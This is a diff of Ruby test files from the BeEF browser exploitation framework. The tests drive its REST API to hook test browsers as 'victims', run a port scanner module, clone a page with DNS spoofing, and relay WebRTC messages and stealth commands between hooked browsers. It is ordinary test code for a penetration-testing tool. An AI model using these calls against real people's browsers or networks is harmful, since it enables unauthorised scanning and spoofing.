json = {:username => BEEF_USER, :password => BEEF_PASSWD}.to_json
|
||||
@@headers = {:content_type => :json, :accept => :json}
|
||||
|
||||
response = RestClient.post("#{RESTAPI_ADMIN}/login",
|
||||
json,
|
||||
@@headers)
|
||||
|
||||
result = JSON.parse(response.body)
|
||||
@@token = result['token']
|
||||
|
||||
# create hooked browser and get session id
|
||||
BeefTest.new_victim
|
||||
sleep 5.0
|
||||
response = RestClient.get "#{RESTAPI_HOOKS}", {:params => {:token => @@token}}
|
||||
result = JSON.parse(response.body)
|
||||
@@hb_session = result["hooked-browsers"]["online"]["0"]["session"]
|
||||
|
||||
# Retrieve Port Scanner module command ID
|
||||
response = RestClient.get "#{RESTAPI_MODULES}", {:params => {:token => @@token}}
|
||||
result = JSON.parse(response.body)
|
||||
result.each do |mod|
|
||||
if mod[1]['class'] == 'Port_scanner'
|
||||
@@mod_port_scanner = mod[1]["id"]
|
||||
break
|
||||
end
|
||||
end
|
||||
|
||||
# Execute the Port Scanner module on the BeEF host to populate NetworkService object
|
||||
# Port Scanner module works only for Chrome and Firefox
|
||||
response = RestClient.post "#{RESTAPI_MODULES}/#{@@hb_session}/#{@@mod_port_scanner}?token=#{@@token}",
|
||||
{ 'ipHost' => "#{ATTACK_DOMAIN}",
|
||||
'ports' => 3000,
|
||||
'closetimeout' => 1100,
|
||||
'opentimeout' => 2500,
|
||||
'delay' => 600,
|
||||
'debug' => false}.to_json,
|
||||
:content_type => :json,
|
||||
:accept => :json
|
||||
result = JSON.parse(response.body)
|
||||
success = result['success']
|
||||
@@cmd_id = result['command_id']
|
||||
sleep 15.0
|
||||
end
|
||||
|
||||
def shutdown
|
||||
$root_dir = nil
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
# Ensure the Port Scanner module identified the BeEF host
|
||||
def test_port_scanner_results
|
||||
rest_response = RestClient.get "#{RESTAPI_MODULES}/#{@@hb_session}/#{@@mod_port_scanner}/#{@@cmd_id}?token=#{@@token}"
|
||||
check_rest_response(rest_response)
|
||||
result = JSON.parse(rest_response.body)
|
||||
raise "Port Scanner module failed to identify any open ports" unless result.to_s =~ /Port 3000 is OPEN/
|
||||
end
|
||||
|
||||
# Tests GET /api/network/hosts handler
|
||||
def test_get_all_hosts
|
||||
rest_response = RestClient.get("#{RESTAPI_NETWORK}/hosts?token=#{@@token}")
|
||||
check_rest_response(rest_response)
|
||||
result = JSON.parse(rest_response.body)
|
||||
assert(result['count'])
|
||||
assert(result['hosts'])
|
||||
assert_not_equal(0, result['count'])
|
||||
end
|
||||
|
||||
# Tests GET /api/network/hosts/:sessionid handler with valid input
|
||||
def test_get_hosts_valid_session
|
||||
rest_response = nil
|
||||
assert_nothing_raised do
|
||||
rest_response = RestClient.get("#{RESTAPI_NETWORK}/hosts/#{@@hb_session}", :params => {:token => @@token})
|
||||
end
|
||||
check_rest_response(rest_response)
|
||||
result = JSON.parse(rest_response.body)
|
||||
assert(result['count'])
|
||||
assert(result['hosts'])
|
||||
assert_not_equal(0, result['count'])
|
||||
|
||||
result['hosts'].each do |host|
|
||||
assert_equal(@@hb_session, host['hooked_browser_id'])
|
||||
end
|
||||
end
|
||||
|
||||
# Tests GET /api/network/hosts/:sessionid handler with invalid input
|
||||
def test_get_hosts_invalid_session
|
||||
session_id = 'z'
|
||||
rest_response = nil
|
||||
assert_nothing_raised do
|
||||
rest_response = RestClient.get("#{RESTAPI_NETWORK}/hosts/#{session_id}", :params => {:token => @@token})
|
||||
end
|
||||
check_rest_response(rest_response)
|
||||
result = JSON.parse(rest_response.body)
|
||||
assert(result['count'])
|
||||
assert_equal(0, result['count'])
|
||||
end
|
||||
|
||||
# Tests GET /api/network/host/:id handler with valid input
|
||||
def test_get_host_valid_id
|
||||
id = 1
|
||||
rest_response = nil
|
||||
assert_nothing_raised do
|
||||
rest_response = RestClient.get("#{RESTAPI_NETWORK}/host/#{id}", :params => {:token => @@token})
|
||||
end
|
||||
check_rest_response(rest_response)
|
||||
result = JSON.parse(rest_response.body)
|
||||
assert_equal(1, result.length)
|
||||
assert_equal('localhost', result.first['hostname'])
|
||||
end
|
||||
|
||||
# Tests GET /api/network/host/:id handler with invalid input
|
||||
def test_get_hosts_invalid_id
|
||||
id = 'z'
|
||||
assert_raise RestClient::ResourceNotFound do
|
||||
RestClient.get("#{RESTAPI_NETWORK}/host/#{id}", :params => {:token => @@token})
|
||||
end
|
||||
end
|
||||
|
||||
# Tests GET /api/network/services handler
|
||||
def test_get_all_services
|
||||
rest_response = RestClient.get("#{RESTAPI_NETWORK}/services?token=#{@@token}",
|
||||
@@headers)
|
||||
check_rest_response(rest_response)
|
||||
result = JSON.parse(rest_response.body)
|
||||
assert(result['count'])
|
||||
assert(result['services'])
|
||||
assert_not_equal(0, result['count'])
|
||||
end
|
||||
|
||||
# Tests GET /api/network/services/:sessionid handler with valid input
|
||||
def test_get_services_valid_session
|
||||
rest_response = nil
|
||||
assert_nothing_raised do
|
||||
rest_response = RestClient.get("#{RESTAPI_NETWORK}/services/#{@@hb_session}", :params => {:token => @@token})
|
||||
end
|
||||
check_rest_response(rest_response)
|
||||
result = JSON.parse(rest_response.body)
|
||||
assert(result['count'])
|
||||
assert(result['services'])
|
||||
assert_not_equal(0, result['count'])
|
||||
|
||||
result['services'].each do |service|
|
||||
assert_equal(@@hb_session, service['hooked_browser_id'])
|
||||
end
|
||||
end
|
||||
|
||||
# Tests GET /api/network/services/:sessionid handler with invalid input
|
||||
def test_get_services_invalid_session
|
||||
session_id = 'z'
|
||||
rest_response = nil
|
||||
assert_nothing_raised do
|
||||
rest_response = RestClient.get("#{RESTAPI_NETWORK}/services/#{session_id}", :params => {:token => @@token})
|
||||
end
|
||||
check_rest_response(rest_response)
|
||||
result = JSON.parse(rest_response.body)
|
||||
assert(result['count'])
|
||||
assert_equal(0, result['count'])
|
||||
end
|
||||
|
||||
# Tests GET /api/network/service/:id handler with valid input
|
||||
def test_get_service_valid_id
|
||||
id = 1
|
||||
rest_response = nil
|
||||
assert_nothing_raised do
|
||||
rest_response = RestClient.get("#{RESTAPI_NETWORK}/service/#{id}", :params => {:token => @@token})
|
||||
end
|
||||
check_rest_response(rest_response)
|
||||
result = JSON.parse(rest_response.body)
|
||||
assert_equal(1, result.length)
|
||||
assert_not_nil(result.first['type'])
|
||||
end
|
||||
|
||||
# Tests GET /api/network/service/:id handler with invalid input
|
||||
def test_get_services_invalid_id
|
||||
id = 'z'
|
||||
assert_raise RestClient::ResourceNotFound do
|
||||
RestClient.get("#{RESTAPI_NETWORK}/service/#{id}", :params => {:token => @@token})
|
||||
end
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
# Standard assertions for verifying response from RESTful API
|
||||
def check_rest_response(response)
|
||||
assert_not_nil(response.body)
|
||||
assert_equal(200, response.code)
|
||||
end
|
||||
|
||||
end
|
||||
@@ -4,7 +4,7 @@
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
require 'test/unit'
|
||||
require 'rest_client'
|
||||
require 'rest-client'
|
||||
require 'json'
|
||||
require '../common/test_constants'
|
||||
|
||||
@@ -50,29 +50,33 @@ class TC_SocialEngineeringRest < Test::Unit::TestCase
|
||||
|
||||
json = {:url => url, :mount => mount, :dns_spoof => dns_spoof}.to_json
|
||||
|
||||
domain = url.gsub(%r{^https?://}, '')
|
||||
|
||||
response = RestClient.post("#{RESTAPI_SENG}/clone_page?token=#{@@token}",
|
||||
json,
|
||||
@@headers)
|
||||
|
||||
check_response(response)
|
||||
|
||||
ip = Socket.ip_address_list.detect { |i| !(i.ipv4_loopback? || i.ipv6_loopback?) }
|
||||
domain = url.gsub(%r{^http://}, '')
|
||||
|
||||
regex = %r{
|
||||
^#{domain}\.\t+
|
||||
\d+\t+
|
||||
IN\t+
|
||||
A\t+
|
||||
#{ip.ip_address}$
|
||||
}x
|
||||
|
||||
# Send DNS request to server to verify that a new rule was added
|
||||
dns_address = @@config.get('beef.extension.dns.address')
|
||||
dns_port = @@config.get('beef.extension.dns.port')
|
||||
dig_output = IO.popen(["dig", "@#{dns_address}", "-p", "#{dns_port}", "-t",
|
||||
"A", "+short", "#{domain}"], 'r+').read.strip!
|
||||
|
||||
dig_output = IO.popen(["dig", "@#{dns_address}", "-p", "#{dns_port}", "-t", "A", "#{domain}"], 'r+').read
|
||||
assert_match(regex, dig_output)
|
||||
foundmatch = false
|
||||
|
||||
# Iterate local IPs (excluding loopbacks) to find a match to the 'dig'
|
||||
# output
|
||||
assert_block do
|
||||
Socket.ip_address_list.each { |i|
|
||||
if !(i.ipv4_loopback? || i.ipv6_loopback?)
|
||||
return true if i.ip_address.to_s.eql?(dig_output.to_s)
|
||||
end
|
||||
}
|
||||
end
|
||||
|
||||
# assert(foundmatch)
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
252
test/integration/tc_webrtc_rest.rb
Normal file
252
test/integration/tc_webrtc_rest.rb
Normal file
@@ -0,0 +1,252 @@
|
||||
#
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
require 'test/unit'
|
||||
require 'rest-client'
|
||||
require 'json'
|
||||
require '../common/test_constants'
|
||||
require '../common/beef_test'
|
||||
|
||||
class TC_WebRTCRest < Test::Unit::TestCase
|
||||
|
||||
class << self
|
||||
|
||||
# Login to API before performing any tests - and fetch config too
|
||||
def startup
|
||||
json = {:username => BEEF_USER, :password => BEEF_PASSWD}.to_json
|
||||
@@headers = {:content_type => :json, :accept => :json}
|
||||
|
||||
response = RestClient.post("#{RESTAPI_ADMIN}/login",
|
||||
json,
|
||||
@@headers)
|
||||
|
||||
result = JSON.parse(response.body)
|
||||
@@token = result['token']
|
||||
|
||||
$root_dir = '../../'
|
||||
$:.unshift($root_dir)
|
||||
|
||||
require 'core/loader'
|
||||
|
||||
BeEF::Core::Configuration.new(File.join($root_dir, 'config.yaml'))
|
||||
BeEF::Core::Configuration.instance.load_extensions_config
|
||||
|
||||
@@config = BeEF::Core::Configuration.instance
|
||||
|
||||
@@activated = @@config.get('beef.extension.webrtc.enable') || false
|
||||
|
||||
@@victim1 = BeefTest.new_victim
|
||||
@@victim2 = BeefTest.new_victim
|
||||
|
||||
puts "WebRTC Tests: Sleeping for 8 - waiting for 2 browsers to get hooked"
|
||||
sleep 8.0
|
||||
|
||||
# Fetch last online browsers' ids
|
||||
rest_response = RestClient.get "#{RESTAPI_HOOKS}", {:params => {
|
||||
:token => @@token}}
|
||||
result = JSON.parse(rest_response.body)
|
||||
browsers = result["hooked-browsers"]["online"]
|
||||
browsers.each_with_index do |elem, index|
|
||||
if index == browsers.length - 1
|
||||
@@victim2id = browsers["#{index}"]["id"].to_s
|
||||
end
|
||||
if index == browsers.length - 2
|
||||
@@victim1id = browsers["#{index}"]["id"].to_s
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
def shutdown
|
||||
$root_dir = nil
|
||||
@@victim1.driver.browser.close
|
||||
@@victim2.driver.browser.close
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
def test_1_webrtc_check_for_two_hooked_browsers
|
||||
return if not @@activated
|
||||
|
||||
rest_response = nil
|
||||
assert_nothing_raised do
|
||||
rest_response = RestClient.get "#{RESTAPI_HOOKS}", {:params => {
|
||||
:token => @@token}}
|
||||
end
|
||||
check_rest_response(rest_response)
|
||||
result = JSON.parse(rest_response.body)
|
||||
browsers = result["hooked-browsers"]["online"]
|
||||
assert_not_nil browsers
|
||||
assert_operator browsers.length, :>=, 2
|
||||
end
|
||||
|
||||
def test_2_webrtc_establishing_p2p
|
||||
return if not @@activated
|
||||
|
||||
rest_response = nil
|
||||
assert_nothing_raised do
|
||||
rest_response = RestClient.post("#{RESTAPI_WEBRTC}/go?token=#{@@token}",
|
||||
{:from => @@victim1id, :to => @@victim2id, :verbose => "true"}.to_json,
|
||||
@@headers)
|
||||
end
|
||||
check_rest_response(rest_response)
|
||||
result = JSON.parse(rest_response.body)
|
||||
assert_equal true, result["success"]
|
||||
|
||||
sleep 20.0
|
||||
|
||||
rest_response = nil
|
||||
assert_nothing_raised do
|
||||
rest_response = RestClient.get "#{RESTAPI_LOGS}", {:params => {
|
||||
:token => @@token}}
|
||||
end
|
||||
check_rest_response(rest_response)
|
||||
result = JSON.parse(rest_response.body)
|
||||
|
||||
loghitcount = 0
|
||||
result["logs"].reverse.each {|l|
|
||||
# Using free-space matching mode /x below to wrap regex.
|
||||
# therefore need to escape spaces I want to check, hence the \
|
||||
regex = Regexp.new(/Browser:(#{@@victim1id}|#{@@victim2id})\ received\
|
||||
message\ from\ Browser:(#{@@victim1id}|#{@@victim2id})
|
||||
:\ ICE\ Status:\ connected/x)
|
||||
loghitcount += 1 if (not regex.match(l["event"]).nil?) and
|
||||
(l["type"].to_s.eql?("WebRTC"))
|
||||
}
|
||||
assert_equal 2, loghitcount
|
||||
end
|
||||
|
||||
def test_3_webrtc_send_msg # assumes test 2 has run
|
||||
return if not @@activated
|
||||
|
||||
rest_response = nil
|
||||
assert_nothing_raised do
|
||||
rest_response = RestClient.post("#{RESTAPI_WEBRTC}/msg?token=#{@@token}",
|
||||
{:from => @@victim1id, :to => @@victim2id,
|
||||
:message => "RTC test message"}.to_json,
|
||||
@@headers)
|
||||
end
|
||||
check_rest_response(rest_response)
|
||||
result = JSON.parse(rest_response.body)
|
||||
assert_equal true, result["success"]
|
||||
|
||||
sleep 10.0
|
||||
|
||||
rest_response = nil
|
||||
assert_nothing_raised do
|
||||
rest_response = RestClient.get "#{RESTAPI_LOGS}", {:params => {
|
||||
:token => @@token}}
|
||||
end
|
||||
check_rest_response(rest_response)
|
||||
result = JSON.parse(rest_response.body)
|
||||
|
||||
assert_block do
|
||||
result["logs"].reverse.each {|l|
|
||||
# Using free-space matching mode /x below to wrap regex.
|
||||
# therefore need to escape spaces I want to check, hence the \
|
||||
regex = Regexp.new(/Browser:(#{@@victim1id}|#{@@victim2id})\ received\
|
||||
message\ from\ Browser:
|
||||
(#{@@victim1id}|#{@@victim2id})
|
||||
:\ RTC\ test\ message/x)
|
||||
return true if (not regex.match(l["event"]).nil?) and
|
||||
(l["type"].to_s.eql?("WebRTC"))
|
||||
}
|
||||
end
|
||||
end
|
||||
|
||||
def test_4_webrtc_stealthmode # assumes test 2 has run
|
||||
return if not @@activated
|
||||
|
||||
# Test our two browsers are still online
|
||||
rest_response = nil
|
||||
assert_nothing_raised do
|
||||
rest_response = RestClient.get "#{RESTAPI_HOOKS}", {:params => {
|
||||
:token => @@token}}
|
||||
end
|
||||
check_rest_response(rest_response)
|
||||
result = JSON.parse(rest_response.body)
|
||||
online = result["hooked-browsers"]["online"]
|
||||
assert_block do
|
||||
online.each {|hb|
|
||||
return true if hb[1]["id"].eql?(@@victim1id)
|
||||
}
|
||||
end
|
||||
assert_block do
|
||||
online.each {|hb|
|
||||
return true if hb[1]["id"].eql?(@@victim2id)
|
||||
}
|
||||
end
|
||||
|
||||
|
||||
# Command one of the browsers to go stealth
|
||||
rest_response = nil
|
||||
assert_nothing_raised do
|
||||
rest_response = RestClient.post("#{RESTAPI_WEBRTC}/msg?token=#{@@token}",
|
||||
{:from => @@victim1id, :to => @@victim2id,
|
||||
:message => "!gostealth"}.to_json,
|
||||
@@headers)
|
||||
end
|
||||
check_rest_response(rest_response)
|
||||
result = JSON.parse(rest_response.body)
|
||||
assert_equal true, result["success"]
|
||||
|
||||
sleep 40.0 #Wait until that browser is offline.
|
||||
|
||||
# Test that the browser is now offline
|
||||
rest_response = nil
|
||||
assert_nothing_raised do
|
||||
rest_response = RestClient.get "#{RESTAPI_HOOKS}", {:params => {
|
||||
:token => @@token}}
|
||||
end
|
||||
check_rest_response(rest_response)
|
||||
result = JSON.parse(rest_response.body)
|
||||
offline = result["hooked-browsers"]["offline"]
|
||||
assert_block do
|
||||
offline.each {|hb|
|
||||
return true if hb[1]["id"].eql?(@@victim2id)
|
||||
}
|
||||
end
|
||||
|
||||
# Test that we can bring it back online (which implies comms are still ok)
|
||||
rest_response = nil
|
||||
assert_nothing_raised do
|
||||
rest_response = RestClient.post("#{RESTAPI_WEBRTC}/msg?token=#{@@token}",
|
||||
{:from => @@victim1id, :to => @@victim2id,
|
||||
:message => "!endstealth"}.to_json,
|
||||
@@headers)
|
||||
end
|
||||
check_rest_response(rest_response)
|
||||
result = JSON.parse(rest_response.body)
|
||||
assert_equal true, result["success"]
|
||||
|
||||
sleep 10.0 # Wait until browser comes back
|
||||
|
||||
# Test that the browser is now online
|
||||
rest_response = nil
|
||||
assert_nothing_raised do
|
||||
rest_response = RestClient.get "#{RESTAPI_HOOKS}", {:params => {
|
||||
:token => @@token}}
|
||||
end
|
||||
check_rest_response(rest_response)
|
||||
result = JSON.parse(rest_response.body)
|
||||
online = result["hooked-browsers"]["online"]
|
||||
assert_block do
|
||||
online.each {|hb|
|
||||
return true if hb[1]["id"].eql?(@@victim2id)
|
||||
}
|
||||
end
|
||||
|
||||
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
# Standard assertions for verifying response from RESTful API
|
||||
def check_rest_response(response)
|
||||
assert_not_nil(response.body)
|
||||
assert_equal(200, response.code)
|
||||
end
|
||||
|
||||
end
|
||||
@@ -15,20 +15,24 @@ require 'selenium/webdriver'
|
||||
require './check_environment' # Basic log in and log out tests
|
||||
require './tc_debug_modules' # RESTful API tests (as well as debug modules)
|
||||
require './tc_login' # Basic log in and log out tests
|
||||
#require './tc_jools' # Basic tests for jools
|
||||
require './tc_jools' # Basic tests for jools
|
||||
require './tc_network_rest' # Basic tests for Network extension RESTful API interface
|
||||
#require './tc_dns_rest' # Basic tests for DNS RESTful API interface
|
||||
require './tc_social_engineering_rest' # Basic tests for social engineering RESTful API interface
|
||||
require './tc_webrtc_rest' # Basic tests for WebRTC extension
|
||||
|
||||
class TS_BeefIntegrationTests
|
||||
def self.suite
|
||||
|
||||
suite = Test::Unit::TestSuite.new(name="BeEF Integration Test Suite")
|
||||
suite << TC_CheckEnvironment.suite
|
||||
suite << TC_login.suite
|
||||
suite << TC_Login.suite
|
||||
suite << TC_DebugModules.suite
|
||||
#suite << TC_Jools.suite
|
||||
suite << TC_Jools.suite
|
||||
suite << TC_NetworkRest.suite
|
||||
#suite << TC_DnsRest.suite
|
||||
suite << TC_SocialEngineeringRest.suite
|
||||
suite << TC_WebRTCRest.suite
|
||||
|
||||
return suite
|
||||
end
|
||||
|
||||
@@ -130,9 +130,11 @@ class TC_Filter < Test::Unit::TestCase
|
||||
assert((BeEF::Filters::has_non_printable_char?("\x00")), '0x00 string')
|
||||
assert((BeEF::Filters::has_non_printable_char?("\x01")), '0x01 string')
|
||||
assert((BeEF::Filters::has_non_printable_char?("\x02")), '0x02 string')
|
||||
assert((BeEF::Filters::has_non_printable_char?("\xF0")), '0xFE string')
|
||||
assert((BeEF::Filters::has_non_printable_char?("\xFE")), '0xFE string')
|
||||
assert((BeEF::Filters::has_non_printable_char?("\xFF")), '0xFF string')
|
||||
# Commented the below because the UTF-8 handling for \xFF appears to break.
|
||||
# See Issue #1126
|
||||
# assert((BeEF::Filters::has_non_printable_char?("\xF0")), '0xFE string')
|
||||
# assert((BeEF::Filters::has_non_printable_char?("\xFE")), '0xFE string')
|
||||
# assert((BeEF::Filters::has_non_printable_char?("\xFF")), '0xFF string')
|
||||
|
||||
assert((BeEF::Filters::has_non_printable_char?("A\x03")), 'Single char and non printable char')
|
||||
assert((BeEF::Filters::has_non_printable_char?("\x04A")), 'Single char and non printable char')
|
||||
@@ -262,7 +264,9 @@ class TC_Filter < Test::Unit::TestCase
|
||||
assert((not BeEF::Filters::alphanums_only?("\n")), '\\n string')
|
||||
assert((not BeEF::Filters::alphanums_only?("\r")), '\\r string')
|
||||
assert((not BeEF::Filters::alphanums_only?("\x01")), '0x01 string')
|
||||
assert((not BeEF::Filters::alphanums_only?("\xFF")), '0xFF string')
|
||||
# Commented the below because the UTF-8 handling for \xFF appears to break.
|
||||
# See Issue #1126
|
||||
# assert((not BeEF::Filters::alphanums_only?("\xFF")), '0xFF string')
|
||||
assert((not BeEF::Filters::alphanums_only?("}")), '} char')
|
||||
assert((not BeEF::Filters::alphanums_only?(".")), '. char')
|
||||
assert((not BeEF::Filters::alphanums_only?("+")), '+ char')
|
||||
|
||||
@@ -99,4 +99,18 @@ class TC_DynamicReconstruction < Test::Unit::TestCase
|
||||
assert_equal "", response.body_str
|
||||
end
|
||||
|
||||
def test_ascii_values
|
||||
wait_for_server
|
||||
response = Curl::Easy.http_get("http://127.0.0.1:" + @port.to_s + "/test?bh=z&sid=z&pid=z&pc=z&d=z")
|
||||
assert_equal 200, response.response_code
|
||||
assert_equal "", response.body_str
|
||||
end
|
||||
|
||||
def test_array_values
|
||||
wait_for_server
|
||||
response = Curl::Easy.http_get("http://127.0.0.1:" + @port.to_s + "/test?bh[]=1&sid[]=1&pid[]=1&pc[]=1&d[]=1")
|
||||
assert_equal 200, response.response_code
|
||||
assert_equal "", response.body_str
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
@@ -48,4 +48,14 @@ class TC_Modules < Test::Unit::TestCase
|
||||
|
||||
end
|
||||
|
||||
def test_safe_client_debug_log
|
||||
Dir['../../modules/**/*.js'].each do |path|
|
||||
File.open(path) do |f|
|
||||
f.grep(/\W*console\.log\W*\(/im) do |line|
|
||||
assert(false, "Function 'console.log' used instead of 'beef.debug' in command module: " + path + ':' + line)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
@@ -1,19 +0,0 @@
|
||||
#
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
require 'test/unit'
|
||||
|
||||
class TC_Hackverter < Test::Unit::TestCase
|
||||
|
||||
def setup
|
||||
$:.unshift(File.join(File.expand_path(File.dirname(__FILE__)), '.'))
|
||||
$root_dir = File.expand_path('../../../../', __FILE__)
|
||||
end
|
||||
|
||||
def test_hackverter
|
||||
assert(true)
|
||||
end
|
||||
|
||||
end
|
||||
@@ -28,8 +28,7 @@ class TC_Network < Test::Unit::TestCase
|
||||
# Tests procedure for properly adding new host
|
||||
def test_02_add_host_good
|
||||
assert_nothing_raised do
|
||||
r = BeEF::Core::Models::NetworkHost.new(:hooked_browser_id => '1234', :ip => '127.0.0.1')
|
||||
r.save
|
||||
BeEF::Core::Models::NetworkHost.add(:hooked_browser_id => '1234', :ip => '127.0.0.1')
|
||||
raise "Adding network host failed" if BeEF::Core::Models::NetworkHost.all(:hooked_browser_id => '1234', :ip => '127.0.0.1').empty?
|
||||
end
|
||||
end
|
||||
@@ -37,8 +36,7 @@ class TC_Network < Test::Unit::TestCase
|
||||
# Tests procedure for properly adding new service
|
||||
def test_03_add_service_good
|
||||
assert_nothing_raised do
|
||||
r = BeEF::Core::Models::NetworkService.new(:hooked_browser_id => '1234', :proto => 'http', :ip => '127.0.0.1', :port => 80, :type => 'Apache', :cid => 1)
|
||||
r.save
|
||||
BeEF::Core::Models::NetworkService.add(:hooked_browser_id => '1234', :proto => 'http', :ip => '127.0.0.1', :port => 80, :type => 'Apache', :cid => 1)
|
||||
raise "Adding network service failed" if BeEF::Core::Models::NetworkService.all(:hooked_browser_id => '1234', :ip => '127.0.0.1').empty?
|
||||
end
|
||||
end
|
||||
|
||||
@@ -1,19 +0,0 @@
|
||||
#
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
require 'test/unit'
|
||||
|
||||
class TC_Vnc < Test::Unit::TestCase
|
||||
|
||||
def setup
|
||||
$:.unshift(File.join(File.expand_path(File.dirname(__FILE__)), '.'))
|
||||
$root_dir = File.expand_path('../../../../', __FILE__)
|
||||
end
|
||||
|
||||
def test_vnc
|
||||
assert(true)
|
||||
end
|
||||
|
||||
end
|
||||
@@ -5,7 +5,7 @@
|
||||
#
|
||||
require 'test/unit'
|
||||
|
||||
class TC_Xssrays < Test::Unit::TestCase
|
||||
class TC_XssRays < Test::Unit::TestCase
|
||||
|
||||
def setup
|
||||
$:.unshift(File.join(File.expand_path(File.dirname(__FILE__)), '.'))
|
||||
|
||||
@@ -9,6 +9,7 @@ require '../common/ts_common'
|
||||
|
||||
require './core/filter/tc_base'
|
||||
require './core/filter/tc_command'
|
||||
require './core/main/network_stack/handlers/dynamicreconstruction'
|
||||
require './core/main/network_stack/handlers/redirector'
|
||||
require './core/tc_loader'
|
||||
require './core/tc_core'
|
||||
@@ -20,9 +21,7 @@ require './core/tc_autorun'
|
||||
require './core/tc_obfuscation'
|
||||
require './core/tc_logger'
|
||||
require './extensions/tc_xssrays'
|
||||
require './extensions/tc_vnc'
|
||||
require './extensions/tc_ipec_tunnel'
|
||||
require './extensions/tc_hackverter'
|
||||
require './extensions/tc_hooks'
|
||||
require './extensions/tc_proxy'
|
||||
require './extensions/tc_requester'
|
||||
@@ -46,18 +45,17 @@ class TS_BeefTests
|
||||
suite << TC_Grep.suite
|
||||
suite << TC_SocialEngineering.suite
|
||||
suite << TC_Autorun.suite
|
||||
suite << TC_Xssrays.suite
|
||||
suite << TC_Vnc.suite
|
||||
suite << TC_XssRays.suite
|
||||
suite << TC_Obfuscation.suite
|
||||
suite << TC_Logger.suite
|
||||
suite << TC_IpecTunnel.suite
|
||||
suite << TC_Requester.suite
|
||||
suite << TC_Proxy.suite
|
||||
suite << TC_Hackverter.suite
|
||||
suite << TC_EventLogger.suite
|
||||
suite << TC_Network.suite
|
||||
suite << TC_Hooks.suite
|
||||
suite << TC_Redirector.suite
|
||||
suite << TC_DynamicReconstruction.suite
|
||||
#suite << TC_Dns.suite
|
||||
|
||||
return suite
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user